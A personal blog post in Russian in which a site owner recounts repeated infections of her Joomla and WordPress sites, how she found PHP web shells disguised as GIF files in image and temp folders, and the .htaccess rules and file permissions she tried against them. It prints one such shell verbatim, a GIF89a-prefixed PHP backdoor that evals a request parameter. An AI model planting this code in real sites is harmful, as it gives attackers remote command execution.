24 мар. 2013 г.

Уи шелл данс, или танцы с шеллами


Ну, последняя неделька выдалась у меня опять жаркая, потому что сайты мои опять заразили. Самое неприятное и непонятное заражение произошло с Обедом, ибо даже скрипт Ай-Болит Всемогущий выдавал в ответ нечто невразумительное, а привычных хвостов evalbase64_decode("CglpZiAoc3RyaXитакдалеетрикилометрасимволов видно не было. Плюнув, сделала бекап, и Яндекс перестал ругаться.


Но пришлось взяться за голову крепко, потому что эта периодичность в заражениях мне порядком надоела. Было два варианта: сайты заражаются с моего же компа, или зараза осталась где-то на хостинге. Начала я со своего компа, конечно, однако мой антивирус, просканировав его, нашёл только одну угрозу - самого себя, то есть свой кейген. Тогда я позвонила человеку, устанавливавшему мне этот антивирус, и принялась его трясти на предмет надёжности. Он землю ел... хотя, скорее, это был ковролин... что это отличный антивирус, который надёжно защищает и его личный комп, и его комп на работе, и компы всех его коллег, и... тут я прервала его клятвы, поскольку не могла долее подвергать его желудочно-кишечный тракт такому испытанию.

И тогда я села инспектировать свои файлы, и папки, и прочую дребедень, напевая любимый хит Демиса Руссоса. У всех вордпрессовских сайтов убрала подальше файл конфиг, поменяла заново все логины и пароли... Хотя, как мне кажется, это только имитация безопасности, чисто для самоуспокоения. Да и сигналов с вордпресса, кроме непонятного и неопределённого случая с Обедом, пока (тьфу-тьфу) не было. Заражается джумла, потому что она старой версии, и в ней много дырок. Когда вирус попробовал сломать вордпрессовские Часы, то они попросту легли, и всё тут. Яшка даже не понял, что это был код - мне техподдержка сказала.

Когда год назад мне в первый раз заразили Камни, то просто грубо подгрузили в шаблон тег ифрейм, ну я его стёрла, и всё тут. А вот с заразой, которая засела на моих обоих акках, на обоих хостингах, справиться не так просто. Потому как это, видите ли, шелл, который по-аглицки ракушка или оболочка, и его подгружают в темы, папку временного хранения или картинки, которые так и остаются на хостинге. Эта целая мать её программа, а коды перенаправления, те самые  ("CglpZiAoc3RyaXитакдалеетрикилометрасимволов во всех файлах корневой папки, есть результат действия этой самой программы. Красиво говоря,  шелл - это php сценарий для удаленного выполнения команд. Свои я нашла в папке tmp, в паке /images/stores/ и... в папке со смайликами. 

Выглядело содержимое файлов так:

GIF89a1  ?php   if (isset($_REQUEST['p1'])) {  eval(stripslashes($_REQUEST['p1']));  } else {    echo "djeu84m";  }  ?

Как я их откопала? Честно говоря, довольно просто. Некоторые советуют искать по дате загрузки, но у меня они оказались загружены якобы аж в 2006 году. Во-первых, намекают их названия. Они совсем непохожи на системные. Во-вторых, расширения. В папках для картинок php файлам явно нечего делать. Оказывается, если в названии файла есть буквосочетания gif  (с jpg или jpeg это не катит), то этот дурак загрузчик принимает их за картинку при любом расширении. И грузит! Можно запретить к загрузке гифки, кстати. Но я их так люблю...

Считается, что здесь может помочь файл .htaccess с содержимым:

FilesMatch "\.([Pp][Hh][Pp]|[Cc][Gg][Ii]|[Pp][Ll]|[Ph][Hh][Tt][Mm][Ll])\.?.*"
   Order allow,deny
   Deny from all

или

(<)Files ~ "\.php*|\.phtml|\.cgi|\.pl|\.asp|\.aspx|\.shtml"(>)
Deny from all
(<)/Files(>) - скобочки убрать надо везде.

Но, честно говоря, у меня с .htaccess не станцевалось. Там и так было прописано RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml - ну и что? Этим шеллам хоть кол на голове теши. У меня по поводу .htaccess сложилось твёрдое убеждение - я его сама для себя пишу, как и роботс. А так вообще, погуглив, можно найти, какие именно хтсс-сы надо положить во все папки. Интересно, почему мой шибко умный не сработал.

Ещё надо выставить разные права на файлы и папки. Я со злости везде выставила совсем минимальные - аж картинки пропали. Куда ни плюнь, у меня 444. Но это существенно в том случае, если на сайте есть ещё зарегистрированные пользователи с какими-то правами. У меня везде - я одна. И кто же, спрашивается, мне шелл-гифку подгрузил?

Говорят, что пароли тырят через ТоталКоммандер. Но я ни на одном из заражённых акков с удалёнными загрузчиками не работала - только в первый раз взялась, когда чистить всё начала и права на папки выставлять. Я Тотал в первый раз увидела, когда на Вебхост грузила вордпресс. Значит, тырили не оттуда.

Далее про шеллы. Они продаются по смешной цене - от половины доллара. В абсолютно свободном доступе. Люди обмениваются ими, учат друг друга их писать... Только вот заковыка: даже эти копейки стоят шеллы для сайтов от 1 до 5 К трафа и более. Потому что перенаправления для ловли трафа-то и нужны. А у меня на Часах 5-6 человек в день, и ещё на Камнях человек 20. Понятно, что "нормальных" любителей чужого трафа мои сайты не заинтересуют. А люди потрудились, подгрузили мне эту дрянь на оба акка. Потратились.

Многие админки ломают, и пароли с логинами выкладывают просто так - на тех же сайтах, где творцы и торговцы шеллов чатятся. И, кстати, и логины, и пароли там выложены весьма заковыристые - по всем правилам написанные, с цифрами и буквами в разных регистрах, абсолютно бессмысленные.

Страшно жить на этом свете, господа...

 
Rambler's Top100